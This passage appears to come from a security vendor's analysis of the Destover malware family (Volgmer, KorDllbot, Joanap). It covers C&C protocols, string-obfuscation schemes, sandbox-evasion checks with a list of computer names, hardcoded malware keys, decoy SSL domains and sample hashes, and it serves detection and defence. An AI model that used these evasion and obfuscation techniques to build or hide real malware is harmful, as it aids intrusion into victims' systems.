+The C&C configuration can be hardcoded, or stored in a data file and subkeys under the registry key +HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security. +Some variant A samples uses subkey a57890bc-ca23-3453-a23c-d385e9058fdf +Some variant C samples uses subkey 821d1af-7a08-4b06-81cd-869365cdf713 +The network API declaration function of a Destover +Volgmer + and a Destover +e4004c1f + backdoor. +DESTOVER +BASICHWP + BACKDOOR, SEP 2015 +This generation of backdoors is similar to the previous ones in that they use a custom SSL-like protocol for C&C +communication. They have been further simplified, but use more C++ classes, and the 256-bit stream cipher +Caracachs (hardcoded password +abcdefghijklmnopqrstuvwxyz012345 +) is used for both network traffic and API +obfuscation. The same password is used in the example code for Caracachs found online (8), so no great effort has +been taken to protect the encryption. +This variety of Destover is the third we have seen installed by documents exploiting the CVE-2015-6585 HWP +vulnerability. +Command word set for this generation of backdoors is 0x8378-0x8390. +Decoy document content include a CV from an apparently South Korean individual, and a document apparently +from the South Korean Foreign Affairs and Unification Committee, as seen below. +Decoy: State information systems audit planning document, Aug 2015 +DESTOVER +FORMBOUNDARY + BACKDOOR, NOV 2015 +This backdoor has many code overlaps with RandomDomain.B + for example, it uses CharSwap API obfuscation, +and uses the same set of integer commands. It has evolved away from the use of faked SSL, which means whole +segments of code have been removed, including most of the domain names used for the SSL handshake. Instead, it +connects to the C&C server via regular HTTP on port 80 and initially posts a blob of random data disguised as a +legitimate file. Any real content is sent encrypted afterwards, using one of the bytewise XOR encodings known from +RandomDomain. +Sending initial POST statement to C&C server +The HTTP header fields can vary + many are selected from hardcoded lists, including the +Host + field. The +FormBoundary string is terminated by a randomly generated character sequence, and the malware queries the +system via the API call ObtainUserAgentString to get the current default User Agent. If this call fails, the hardcoded +User Agent +AgentString + is used instead. +DESTOVER +VOLGMER2 + BACKDOOR, JAN 2016 +This was found as a DLL backdoor sample +t(x86).dll + which contained several traits in common with the Volgmer +series. Further data mining revealed that identically to Volgmer, the sample is installed by a dropper which contains +the DLL in an embedded zip file resource named +MYRES + in its body. This dropper is again extracted by another +outer dropper with a similar embedded zip inside, which also in addition contains a configuration file ntuser.inf. +ShADprops.dll +MYRES + ZIP resource +Loader(x86).dll +MYRES + ZIP resource +ntuser.inf +config data +t(x86).dll +main payload +This config file contains - among other things - C&C IP and port information, which is read and written to a registry +key before being used by the main payload component. +HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security subkey = +72ca1d1af-7afc-4c06-cc1d-8feaac5cdf764 +Volgmer2 shares API declaration functions and string decode algorithms with the original Volgmer. However, there +are also clear differences. Its network behavior has moved away from HTTP post with the recognizable +Mozillar +UserAgent. Instead, C&C traffic is performed via faked SSL with another encryption twist + RC4 with a layer of XOR +on top. They RC4 key is binary, and hardcoded in the executable: 0x0d, 0x06 ,0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, +0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82. Similarly to the RandomDomain series, Volgmer2 uses domain +names chosen randomly from a list in its SSL handshake. +The dropper executables in the +Volgmer 1 + series contained some checks for VM environments. Volgmer2 has +taken this further, and included a number of anti-debugging tricks and of checks for what appears to be known +sandbox environments. +Volgmer1 vs Volgmer2 dropper evasions. +The change also means that the malware continues to work if under a virtualized environment, if there are no other +indicators that there is monitoring or debugging activity going on. The check for known sandbox environments is +done by comparing the computer name with the names in the following list: +MARS53 +35347 +JOHN-PC +TVMCOM +PLACEHOL-6F699A +WIN7PRO-MALTEST +WINDOWS-F99AACA +XELRCUZ-AZ +RATS-PC +PXE472179 +The command integers used by Volgmer2 are in the range 0x09-0x27 with the exception of 0x17, 0x1b and 0x1c. +APPENDIX: ALGORITHMS AND OTHER INDICATORS +Chopstring obfuscation +Chopstring deobfuscator +Deobfuscation of the API name before it is sent to GetProcAddress. Yes, they look up GetProcAddress using +GetProcAddress. Go figure. +XOR-A7 obfuscation +This is a forward bytewise XOR encoding using 0xA7 as key. +String deobfuscation functions in the Sony Destover (left) malware and Destover +b076e058 + (right). They are +identical, even down to using 0xa7 as xor key. +XOR-XX-SUB-XX obfuscation +This is a forward bytewise XOR, SUB encoding, usually used in communication encryption/decryption. The inverse is +usually also present in the form of ADD, XOR. Many different byte combinations are used in the various variants. +BC-SUB API Obfuscation +This is a forward bytewise decoding where the each character value is subtracted from 0xBC to arrive at a cleartext +character. +This decoding is used instead of ChopString in some KorDllbot variants. +DB-SUB API Obfuscation +This is a forward bytewise decoding where the each character value above + and below + is subtracted from +0xDB to arrive at a cleartext character. +CharSwap API Obfuscation +This is an encoding where some character ASCII values are increased or decreased by nine. +CharSwap is used for obfuscation of both APIs and regular strings. Above figure shows API de-obfuscation. +The CharSwapped API names GetDriveTypeA, SetFileTime and Process32Next. +Intbox encoding +This encoding is used instead of ChopString in some Destover variants. +RC4+XOR encryption +This encryption is used by Volgmer2 on network traffic data. +KorDllbot / Joanap AES keys +Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion +b n4rbhriq890v9=023=01*&(T-0Q325J1N;LK' +Koredos RC4 key +A39405WKELsdfirpsdLDPskDORkbLRTP12330@3$223%! +Joanap PLAIN_CRYPT keys +9025jhdho39ehe2 +hybrid!@hybrid!@# +iamsorry!@1234567 +Destover +b076e058 + RSA authentication key string +b076e0580463a202bad74cb9c1b85af3fb4d1be513ccca3ae8b57d193be77b4ab63802b3216d3a80b00827b693593 +a76be884f41b491ee1f6136b3755add91e2de9b0f5b3849d463fcd7b9a3b6cd0744caf809f510ee04ab3c714f53422d2 +4f33361f75145b08286d2d7d99704684ed1d25fd5a9dc7b993f8e4d074234fd82d3 +Destover +Volgmer.A + RSA authentication key string +bc9b75a31177587245305cd418b8df78652d1c03e9da0cfc910d6d38ee4191d40bd51483321ebe44595f799da8421 +5ebd7137c9e267f54a342048e510fddfdec2404764fdf128c330862e747d7a98cd557a15500051a5b6651572a398bbe +5a51d52dc7af3b34b06b68c7974b9f8e45fd3636fd628c1dbcf65bbb68b2dd058017 +Destover +Volgmer.B/C + RSA authentication key string +b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d73469b8beabc14b90e907 +88c28f2d7c660e43db2e6f81aa05a08cae4517845ba4b9fc614e77e39d502003fcc6712d45428f339bcc06787745f734 +1e9884fae803ad2fbb9670acb15b2da62735081fb2bc2a9b8b434dbe211a4b59b03 +Destover +b59d1659 + RSA authentication key string +b59d165982e3d5721c4d40195f85aedf2a12d6616be11a2c19fa11821604edc4675bdca4f9b9cbfb27244203ca8e21 +500ae592d7bb2776e8ed9179dc1fb47819f140d0052f28865c201a036f3f698d0c256c3446e09c83eda056c91ee9e25 +927148a3521439d57b0682a4c2723bd18dcd37c0f9b08ff8c7c3bc37684d2b4d241 +Destover +b8ac0905 + RSA authentication key string +b8ac0905cda0360fc115f614119da76d84e2277762bd7558b2650a79013fb50138f732d5a03730d7d5b173a12d9a8 +42353ca433758d417fa8b452ec075f87bf76a7056ecdd2b063432f414e4ad52fdb078b8a9d84635774e5234ce28a762 +d91af1cb9c026ffd68b88f1032c9c2c8fa1d187a054f906781c56fb07b0f6bb908cb +Destover +e4004c1f + RSA authentication key string +e4004c1f94182000103d883a448b3f802ce4b44a83301270002c20d0321cfd0011ccef784c26a400f43dfb901bca753 +8f2c6b176001cf5a0fd16d2c48b1d0c1cf6ac8e1da6bcc3b4e1f96b0564965300ffa1d0b601eb2800f489aa512c4b248c +01f76949a60bb7f00a40b1eab64bdd48e8a700d60b7f1200fa8e77b0a979dabf +Destover +Randomdomain.A/B + SSL remote server names contained in Client Hello +wwwimages2.adobe.com +www.paypalobjects.com +www.paypal.com +www.linkedin.com +www.apple.com +www.amazon.com +www.adobetag.com +windowslive.tt.omtrdc.net +verify.adobe.com +us.bc.yahoo.com +urs.microsoft.com +supportprofile.apple.com +support.oracle.com +support.msn.com +startpage.com +sstats.adobe.com +ssl.gstatic.com +ssl.google-analytic.com +srv.main.ebayrtm.com +skydrive.live.com +signin.ebay.com +securemetrics.apple.com +secureir.ebaystatic.com +secure.skypeassets.com +secure.skype.com +secure.shared.live.com +secure.logmein.com +sc.imp.live.com +sb.scorecardresearc.com +s1-s.licdn.com +s.imp.microsoft.com +pixel.quantserve.com +p.sfx.ms +mpsnare.iesnare.com +login.yahoo.com +login.skype.com +login.postini.com +login.live.com +l.betrad.com +images-na.ssl-images-amazon.com +fls-na.amazon.com +extended-validation-ssl.verisign.com +daw.apple.com +csc.beap.bc.yahoo.com +by.essl.optimost.com +b.stats.ebay.com +apps.skypeassets.com +api.demandbase.com +ad.naver.com +accounts.google.com +Destover +Randomdomain.C + SSL remote server names contained in Client Hello +myservice.xbox.com +uk.yahoo.com +web.whatsapp.com +www.apple.com +www.baidu.com +www.bing.com +www.bitcoin.org +www.comodo.com +www.debian.org +www.dropbox.com +www.facebook.com +www.github.com +www.google.com +www.lenovo.com +www.microsoft.com +www.paypal.com +www.tumblr.com +www.twitter.com +www.wetransfer.com +www.wikipedia.org +Destover +Volgmer2 + SSL remote server names contained in Client Hello +ad.naver.com +all.baidu.com +www.amazon.com +www.apple.com +www.bing.com +www.dell.com +www.hp.com +www.microsoft.com +www.oracle.com +www.paypal.com +www.uc.com +www.yahoo.com +(Note that domain names included in Destover SSL handshakes are legitimate and used only as disguise.) +APPENDIX: THE MICROSOFTCODESIGNINGPCA SELF-SIGNED SAMPLE CLUSTER +Group: 03c64293830f4c8f43666b3901d02332 +87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e +KorDllbot v1.1 backdoor service, listening on port 179 +Group: 3d348a74aab5359d422da7fad24b8c2c +a7d088bf3ae2a82f711f816922779ac7b720170298ac43c76cf8c6e1aa8dfadd +Proxymini 0.2.1, Luigi Auriemma +fd95e095658314c9815df6a97558897cb344255bd54d03c965fa4cbd16d7bafd +NoiseSin data stealer +82169a2d8f15680c93e1436687538afa01d6a2ecfe7a7cb613817c64a1a82342 +NoiseSin data stealer +792b484ac94f0baefc7e016895373ba92c2927e3463f62adb701ddbe4c90604c +KorDllbot backdoor (Unobfuscated API loading) +162d6223c1c1219ca81a77e60e6b776058517272fe7cac828a3f64dcacd87811 +KorDllbot backdoor (XOR-obfuscated API loading) +56e0b1794a588e330e32a10813cdc9904e472c55f17dd6c8de341aeaf837d077 +Keylogger +c16a66c1d8e681e962f03728411230fe7c618b7294c143422005785d3a724ec4 +Dropper for +162d6223c1c1219ca81a77e60e6b776058517272fe7cac828a3f64dcacd87811 +57b4c2e71f46fe3e7811a80d19200700c15dd358bdf9d9fdf61f1c9a669f7b4b +NoiseSin data stealer +Group: 09b075a5393e93a3479a00051714de52 +2d9edf45988614f002b71899740d724008e9a808efad00fa79760b31e0a08073 +Joanap backdoor and SMB worm +006e0cc29697db70b2d4319f320aa0e52f78bf876646f687aa313e8ba04e6992 +Joanap backdoor and SMB worm +dda136bc51670e57a4b2f091f83ab7b44291a9323d5483abd9e91b78221e027f +Data harvester +Group: 17522941a80c25ab4c9cfe5f28d9361f +163571bd56001963c4dcb0650bb17fa23ba23a5237c21f2401f4e894dfe4f50d +Group: 9d0550e00b6d5da9407e28bca4336cc9 +SMB worm and backdoor dropper for +f901083da11222e3221f5d3e5d5f79d7ea3864282ea565e47c475ad23ef96ff4 +3d2a7ea04d2247b49e2dcad63a179ae6a47237eddbfd354082f1417a63e9696e +Joanap backdoor and SMB worm +ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 +Joanap backdoor and SMB worm +Group: e7d382fb2e1ea4a44a8d193f4014e514 +6e8a2329567cdbbba68460ccb97209867d7508983cb638662b33bfe90d0134d4 +KorDllbot backdoor dropper, disguised as a Korean Windows hotpatch +af7b53ce584b83085488e1190e1458948eaf767631f766e446354d0d5523e9d0 +Dropped KorDllbot component +69300a42e055f68a8057192077fbbef3be5b66514ea9ca258b077c5c7e9417a9 +KorDllbot backdoor dropper +Group: 14ccfa0756059e93469bfef60935d999 +e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c2ed4fcbfdd16b4dd1c18d4d +SMB worm and backdoor dropper for +a795964bc2be442f142f5aea9886ddfd297ec898815541be37f18ffeae02d32f +96c35225dc4cac65cc43a6cc6cdcce3d13b3bda286c8c65cad5f2879f696ad2a +Backdoor dropper for +0075d16d8c86f132618c6365369ff1755525180f919eb5c103e7578be30391d6 +Group: c23d8473c335159a435b5c920b961971 +29355f6d4341089b36834b4a941ef96b3bf758a4fe35fbb401cc4e74b9b1c90f +Yahoo IM backdoor service +9e226a5eb4de19fcb3f7ecc3abcf52ea22a1f1a42a08dd104f5f7a00164e074e +Yahoo IM backdoor exe +041605e498bb41b07d2d43003152cc2a992e7e2ade7a47ee9aef2570bdb16d94 +Yahoo IM backdoor exe +82fe3a8f2248643505e8de1977b734f97eb38225e6d3df6ea8f906430514b4f5 +Yahoo IM backdoor exe +Group: a02925c39912b68a4a0555246a031abb +08203b4ddc9571418b2631ebbc50bea57a00eadf4d4c28bd882ee8e831577a19 +Joanap dropper, backdoor and SMB worm +Group: f487c2cfd330cf8e4f9171672d99cecd +8e3c3398353931c513c32330c07f65b6ee6f62fc7a56edac7cbe4edb1bf4c74e +KorDllbot backdoor dropper +bb4204dd059849848e9492523ce32520bf37cb80974320c0ca71f3b79e83f462 +Downloader and backdoor +2f8c448bb05ed1218e638c61bb56ebb953b962ed5e065b08fa03cfcf6f6a1c68 +Downloader and backdoor +Group: e4046a19ef86378a43907279d072e5fb +f98c67c4cf9b02acaabb555664a0d9d648a1e43f681f9bf234af066d5451be8d +KorDllbot 1.05.2 downloader and backdoor +Group: 33f8c3f1b7df61b949ed876422818bb1 +1226d3635c1a216be9316c9dfa97f103c79ed4c44397e5e675d3b1e37786bf31 +KorDllbot backdoor +Group: de85322cb067a1aa41af54c2de87fb03 +c5baece9978649659220af2681a3a43b83f8ae47afdd3862185d1fec7735a7d2 +Dropped KorDllbot component +a4b982d4e7137d7d3687f3127e6d5c2a8b2be1f53daeebce9175461c7e6a53cd +KorDllbot backdoor dropper +9bcecd6afa54eb4f343b7eb82a86ceee189cc10bc91fa83f8cdc98cc5aaef117 +KorDllbot backdoor dropper, disguised as a Korean Windows hotpatch +Group: dde039353663cdb14337e6793ca2a8cf +b7f2595dd62d1174ce6e5ddf43bf2b42f7001c7a4ec3c4cbe3359e30c674ed83 +KorDllbot backdoor +Group: 940888706c199a8342ef85eb60fecbb6 +b039383a19e3da74a5a631dfe4e505020a5c5799578187e4ccc016c22872b246 +KorDllbot backdoor service installer +f4a06dd6ebfd0805d445f45ce33d7bba4a33c561111c39a347024069a78169e9 +KorDllbot backdoor service +3acaea01fd79484d5a72c72e1b9c2fbf391145fb1533c17a8a83e897d8777f82 +Removes backdoor service +81067f057d523fdcddf7df1da39a7c3614c45f6bff6bd387274c049244efda3b +Removes backdoor service +Group: 7940994b304aa1ac4d2d64e6b7b8890d +218ee208323dc38ebc7f63dba73fac5541b53d7ce1858131fa3bfd434003091d +KorDllbot backdoor service installer +73edc54abb3d6b8df6bd1e4a77c373314cbe99a660c8c6eea770673063f55503 +KorDllbot backdoor service +Group: 328e8fb5f3ec48894f6af0eb0a821d01 +6d5d706f5356e087f5961ba2ed808c51876d15c2e09eb081618767b36b1d012f +KorDllbot backdoor service +Group: 7301505ed41ad49a4b379588d64be787 +7a538c3eed1f01b62a19226750c1369e4e9210b1331d5829ca91fe2b69087f06 +Downloader +6059cb08489170aea77caf0940131e5765b153a593e76d93a0f244e89ddb9e90 +Uploader +e97a8909349a072ed945899fbe276fc27e9c5847bc578b0abccf017da3fd680c +Dropper for +7a538c3eed1f01b62a19226750c1369e4e9210b1331d5829ca91fe2b69087f06 +Group: f0eeae68ca747c804b6a1d078525ebd1 +c4852ddba88e5c53a8711c4c7540b7ac98dac6b9e31d10dd999a81a4f0e117c3 +KorDllbot backdoor service +3ebb3d8292a1aa5dc81b028beeefdec0f0448516d6225b336ee37d550ab8c3ab +KorDllbot backdoor service +Group: 61fd3dc8a14f3a9f4ffbb82b6b9165c2 +87e68055959328d857b287e797896d9a96695b69ed300a843eee73319427b3b3 +KorDllbot 1.03 backdoor service +94e14a85a2046b40842f6c898c5f6c3200de3d89c178a9a9f9a639c1d3de9ee9 +KorDllbot 1.04.4 backdoor +Group: 00f70a83e7c9fbb54ea74e8bbc14c609 +cd8c729da299b29618819afeef8b2a79451e6c3d35dea3769ef638c649c69001 +KorDllbot 1.04.4 backdoor service +Group: b46daf51cd766faa487311beac043847 +9d9889585f1a4048a3955d3a9cead2f426a509afaeacad27540382cc3266f0fa +KorDllbot backdoor service +Group: 10cc28f0b769aba64fe81a0cd640122f +888844c040be9d0fc3dab00dd004aa9e8619f939aff2eba21e4f48ca20e13784 +KorDllbot 1.2 backdoor service +Group: db8c962c5c8366854f9b052dab52d54a +d7044a35e76543a03cd343d71652c7bbd9a28e246d7f3a43f4a2e75cd0ef7366 +Group: 206f156f15bb3c814f24bebf69ec04c7 +KorDllbot 1.04.5 backdoor service +50974c15a546e961fbee8653e5725960a77b79e0f7c8eadf3b6d35ba3a46dd57 +KorDllbot backdoor service +Group: 7c4a1d98042a2d814c93e8d8f78ee6fe +bfb5fa2a09ac60efcc0e9f05e781bd22cae0b8f6ba356d7819285f073845a0eb +KorDllbot 1.03 backdoor service +Group: 888ba4e41cd689a14ee48b2dbe87428e +9bc8fe605a4ad852894801271efd771da688d707b9fbe208106917a0796bbfdc +KorDllbot service dropper. Drops +0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 +7b171a160cb2a17f87ca6a4a1c62b4cd9e718f987b7278d3effe0614b5b51be4 +KorDllbot service dropper. Drops +0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 +0a27acaaebc7db0878239b40ab9d2feff13888839c05a03348fc09b78de6ced5 +KorDllbot backdoor service +APPENDIX: MALWARE HASHES +KorDllbot-related samples +87bae4517ff40d9a8800ba4d2fa8d2f9df3c2e224e97c4b3c162688f2b0d832e +fd95e095658314c9815df6a97558897cb344255bd54d03c965fa4cbd16d7bafd +82169a2d8f15680c93e1436687538afa01d6a2ecfe7a7cb613817c64a1a82342 +792b484ac94f0baefc7e016895373ba92c2927e3463f62adb701ddbe4c90604c +162d6223c1c1219ca81a77e60e6b776058517272fe7cac828a3f64dcacd87811 +56e0b1794a588e330e32a10813cdc9904e472c55f17dd6c8de341aeaf837d077 +c16a66c1d8e681e962f03728411230fe7c618b7294c143422005785d3a724ec4 +57b4c2e71f46fe3e7811a80d19200700c15dd358bdf9d9fdf61f1c9a669f7b4b +2d9edf45988614f002b71899740d724008e9a808efad00fa79760b31e0a08073 +006e0cc29697db70b2d4319f320aa0e52f78bf876646f687aa313e8ba04e6992 +dda136bc51670e57a4b2f091f83ab7b44291a9323d5483abd9e91b78221e027f +163571bd56001963c4dcb0650bb17fa23ba23a5237c21f2401f4e894dfe4f50d +3d2a7ea04d2247b49e2dcad63a179ae6a47237eddbfd354082f1417a63e9696e +ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 +6e8a2329567cdbbba68460ccb97209867d7508983cb638662b33bfe90d0134d4 +af7b53ce584b83085488e1190e1458948eaf767631f766e446354d0d5523e9d0 +69300a42e055f68a8057192077fbbef3be5b66514ea9ca258b077c5c7e9417a9 +e0cd4eb8108dab716f3c2e94e6c0079051bfe9c7c2ed4fcbfdd16b4dd1c18d4d +96c35225dc4cac65cc43a6cc6cdcce3d13b3bda286c8c65cad5f2879f696ad2a +29355f6d4341089b36834b4a941ef96b3bf758a4fe35fbb401cc4e74b9b1c90f +9e226a5eb4de19fcb3f7ecc3abcf52ea22a1f1a42a08dd104f5f7a00164e074e +041605e498bb41b07d2d43003152cc2a992e7e2ade7a47ee9aef2570bdb16d94 +82fe3a8f2248643505e8de1977b734f97eb38225e6d3df6ea8f906430514b4f5 +08203b4ddc9571418b2631ebbc50bea57a00eadf4d4c28bd882ee8e831577a19 +8e3c3398353931c513c32330c07f65b6ee6f62fc7a56edac7cbe4edb1bf4c74e +bb4204dd059849848e9492523ce32520bf37cb80974320c0ca71f3b79e83f462 +2f8c448bb05ed1218e638c61bb56ebb953b962ed5e065b08fa03cfcf6f6a1c68 +f98c67c4cf9b02acaabb555664a0d9d648a1e43f681f9bf234af066d5451be8d +1226d3635c1a216be9316c9dfa97f103c79ed4c44397e5e675d3b1e37786bf31 +c5baece9978649659220af2681a3a43b83f8ae47afdd3862185d1fec7735a7d2 +a4b982d4e7137d7d3687f3127e6d5c2a8b2be1f53daeebce9175461c7e6a53cd +9bcecd6afa54eb4f343b7eb82a86ceee189cc10bc91fa83f8cdc98cc5aaef117 +b7f2595dd62d1174ce6e5ddf43bf2b42f7001c7a4ec3c4cbe3359e30c674ed83 +b039383a19e3da74a5a631dfe4e505020a5c5799578187e4ccc016c22872b246 +f4a06dd6ebfd0805d445f45ce33d7bba4a33c561111c39a347024069a78169e9 +3acaea01fd79484d5a72c72e1b9c2fbf391145fb1533c17a8a83e897d8777f82 +81067f057d523fdcddf7df1da39a7c3614c45f6bff6bd387274c049244efda3b +218ee208323dc38ebc7f63dba73fac5541b53d7ce1858131fa3bfd434003091d +73edc54abb3d6b8df6bd1e4a77c373314cbe99a660c8c6eea770673063f55503 +6d5d706f5356e087f5961ba2ed808c51876d15c2e09eb081618767b36b1d012f +7a538c3eed1f01b62a19226750c1369e4e9210b1331d5829ca91fe2b69087f06 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+Joanap-related samples +29b8c57226b70fc7e095bb8bed4611d923f0bcefc661ebae5182168613b497f8 +66d44e2bc7495662d068051c5a687d17c7e95c8f04acb0f06248b34cd255cd25 +fae77c173815b561ad02d8994d0e789337a04d9966dd27a372fd9055f1ac58b1 +c1c56c7eb2f6b406df908ae822a6ea936f9cc63010ee3c206186f356f2d1aa94 +4c5b8c3e0369eb738686c8a111dfe460e26eb3700837c941ea2e9afd3255981e +113d705d7736c707e06fb37ac328080b3976838d0a7b021fd5fb299896c22c7c +1a6c3e5643d7e22554ac0a543c87a2897ea4ea5a07bc080943a310a391e20713 +0b860af58a9d2d7607f09022aa69508b0966a1cc8d953d3995a5fe07f8fabcac +5d73d14525ced5bdf16181f70f4d931b9c942c1ae16e318517d1cd53f4cd6ea9 +c34ad273d836b2f058bbd73ea9958d272bd63f4119dacacc310bf38646ff567b +500c713aa82a11c4c33e9617cad4241fcef85661930e4986c205233759a55ae8 +5f5acf76a991c1ca33855a96ec0ac77092f2909e0344657fe3acf0b2419d1eea +c6d96be46ce3d616e0cb36d53c4fade7e954e74bfd2e34f9f15c4df58fc732d2 +d558bb63ed9f613d51badd8fea7e8ea5921a9e31925cd163ec0412e0d999df58 +006e0cc29697db70b2d4319f320aa0e52f78bf876646f687aa313e8ba04e6992 +2d9edf45988614f002b71899740d724008e9a808efad00fa79760b31e0a08073 +3d2a7ea04d2247b49e2dcad63a179ae6a47237eddbfd354082f1417a63e9696e +ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781 +f4113e30d50e0afc4fa610a3181169bb03f6766aea633ed8c0c0d1639dfc5b29 +08203b4ddc9571418b2631ebbc50bea57a00eadf4d4c28bd882ee8e831577a19 +a3992ed9a4273de53950fc55e5b56cc5b1327ffee59b1cea9e45679adc84d008 +575028bbfd1c3aaff27967c9971176ae7038902f1a67d70def55ae8456e6166d +428cf6ec1a4c947b51ec099a656f575ce42f67737ee53f3afc3068a25adb4c0d +f53e3e0b3c524471b1f064aabd0f782802abb4e29534a1b61a6b25ad8ec30e79 +Destover +b076e058 + samples +Droppers: +6e93d7bdb01af596019fa48986544ca24aa06463f17975a084b28ce9ab3cf910 +e0066ddc9e6f62e687994a05027e3eaa02f6f3ad6d71d16986b757413f2fb71c +Dropped components: +9ec83d39d160bf3ea4d829fa8d771d37b4f20bec3a68452dfc9283d72cee24f8 +10d3ab45077f01675a814b189d0ac8a157be5d9f1805caa2c707eecbb2cbf9ac +33207f4969529ad367909e72e0f9d0a63c4d1db412e41b05a93a7184ec212af1 +389ee412499fd90ef136e84d5b34ce516bda9295fa418019921356f35eb2d037 +e0ce1f4b9ca61747467cee56307f9ea15dd6935f399837806f775e9b4f40e9ca +54ab7e41e64eb769b02b855504c656eaaff08b3f46d241cb369346504a372b4f +47830371f6f3d90d6a9fbe39e7f8d43a2e126090457448d0542fcbec4982afd6 +Destover +Volgmer + samples +Droppers: +37dd416ae6052369ae8373730a9189aefd6d9eb410e0017259846d10ac06bff5 +87db427b1b44641d8c13be0ba0a2b2f354493578562326d335edfeb998c12802 +e40a46e95ef792cf20d5c14a9ad0b3a95c6252f96654f392b4bc6180565b7b11 +53e9bca505652ef23477e105e6985102a45d9a14e5316d140752df6f3ef43d2d +8fcd303e22b84d7d61768d4efa5308577a09cc45697f7f54be4e528bbb39435b +Dropped components: +6dae368eecbcc10266bba32776c40d9ffa5b50d7f6199a9b6c31d40dfe7877d1 +b987f7e6467704029c7784e9beb9ad3aa6e1375a661dc10b5f3d11c6a8fc1ef2 +1d0999ba3217cbdb0cc85403ef75587f747556a97dee7c2616e28866db932a0d +9f177a6fb4ea5af876ef8a0bf954e37544917d9aaba04680a29303f24ca5c72c +78af649d3d6a932bcf53cfe384ce6bf9441f4d19084692b26b7e28b41f7a91bd +5d617f408622afc94b1ca4c21b0b9c3b17074d0fcd3763ee366ab8b073fc63e9 +fee0081df5ca6a21953f3a633f2f64b7c0701977623d3a4ec36fff282ffe73b9 +c5946116f648e346b293e2e86c24511a215ebe6db51073599bba3e523fb0d0a8 +eab55bded6438cd7b8a82d6447a09bba078ded33049fca22d616a74bb2cad08f +ff2eb800ff16745fc13c216ff6d5cc2de99466244393f67ab6ea6f8189ae01dd +Destover +Windowsupdatetracing + samples +Droppers: +83e507104ead804855d07bc836af4990542d1eac5ac2a8ce86f985d082199f6f +d94ceade521452864ae8daae9d6b202a79d4761f755c7c769ec4e103c7c3127d +bebf6266e765f7a0eefcde7c51507cc9f6e3b5d5b82a001660454e4e84f6e032 +4166f6637b3b11f69cccbeb775f9ee6987a5a30475c54db189b837ee3fbbf0d1 +eeb146ebbc3f144f5a6156d07322a696eead9c4895a9a6f94212d24056acd41c +Destover +Messagethread + samples +Droppers, var A +6959af7786a58dd1f06d5463d5ba472396214d9005fce8559d534533712a9121 +68006e20a2f37609ffd0b244af30397e18df07483001150bcc685a9861e43d44 +d8fedef123b3d386f0917f11db9fae0956ffe5b16a9aaad8805f72309437d066 +Droppers, var B +2368ee0e0001599b7789d8199c7b19f362a87925118ae054309d85f960d982ec +6e3db4da27f12eaba005217eba7cd9133bc258c97fe44605d12e20a556775009 +98abfcc9a0213156933ccd9cb0b85dc51f50e498dbfdec62f6a66dc0660d4d92 +d36f79df9a289d01cbb89852b2612fd22273d65b3579410df8b5259b49808a39 +Destover +b8ac0905 +X86 Service DLL sample: +696ff9dda1ce759e8ff6dd96b04c75d232e10fe03809ba8abac7317f477f7cf5 +Destover +b59d1659 +X64 Service DLL sample: +7501c95647cef0c56e20c6d6a55de3d23f428e8878a05a603a0b37ea987a74e2 +Destover +e4004c1f +HWP dropper documents: +3c3d2ab255daa9482fd64f89c06cdbfff3b2931e5e8e66004f93509b72cf1cc7 +7d9631a62ae275c58e7ad2a3e5e4c4eac22cff46c077410ad628be6c38dd5e08 +Dropper executables: +ca4b4a3011947735a614a3dc43b67000d3a8deefb3fffa95b48f1d13032f2aea +31a76629115688e2675188d6f671beacfe930794d41cf73438426cc3e01cebae +Dropped components: +7cea18dce8eb565264cc37bfa4dea03e87660b5cea725e36b472bafdcfe05ab1 +757cd920d844fdcb04582a89b55f62b9a3e9bf73804abf94c9a9e15d06030b93 +8a4f000049ad2a6c4eeac823c087b1c6e68c58b241c70341821cceccdf0f2d17 +0654d112c17793c7a0026688cee569e780b989a9eb509585a977efd326dc2873 +453d8bd3e2069bc50703eb4c5d278aad02304d4dc5d804ad2ec00b2343feb7a4 +1f689996439db60970f4185f9cfc09f59bfe92650ba09bda38c7b1074c3e497b +Destover +Duuzer + samples +X86 samples: +029f93b7b7012777ee9fb2878d9c03b7fc68afad0b52cdc89b28a7ea501a0365 +5831e614d79f3259fd48cfd5cd3c7e8e2c00491107d2c7d327970945afcb577d +6b70aa88c3610528730e5fb877415bc06a16f15373c131284d5649214cd2e96b +9b4c90ca8906e9fea63c9ea7a725db5fc66e1ca6c2a20bec2e8c1749b0000af5 +b0cfaab0140f3ea9802dc6ed25bf208a2720fb590733966b7a3e9264a93a4e66 +b3c0b7e355bee34cdb73d0bbdb1ba1b61797c035db31f0c82b19f9aa6a7abcc7 +36844e66e5f4d802595909e2cbe90a96ad27da6b254af143b6611ab9ee85a13e +4efeea9eeae3d668897206eeccb1444d542ea537ca5c2787f13dd5dadd0e6aaa +5b28c86d7e581e52328942b35ece0d0875585fbb4e29378666d1af5be7f56b46 +66df7660ddae300b1fcf1098b698868dd6f52db5fcf679fc37a396d28613e66b +72008e5f6aab8d58e4c8041cde20ee8a4d208c81e2b3770dbae247b86eb98afe +822a7be0e520bb490386ad456db01f26c0f69711b4ac61ba2cb892d5780fe38f +899ff9489dde2c5f49d6835625353bfe5ea8ca3195ca01362987a9d4bdac162d +8b50d7d93565aab87c21e42af04230a63cd076d19f8b83b063ef0f61d510adc7 +90d8643e7e52f095ed59ed739167421e45958984c4c9186c4a025e2fd2be668b +ac27cfa2f2a0d3d66fea709d7ebb54a3a85bf5134d1b20c49e07a21b6df6255a +c5be570095471bef850282c5aaf9772f5baa23c633fe8612df41f6d1ebe4b565 +ce0e43c2b9cb130cd36f1bc5897db2960d310c6e3382e81abfa9a3f2e3b781d7 +facb32efc05bc8c4f3cb3baa6824db0f7effc56c02dbc52c33bafe242a1def77 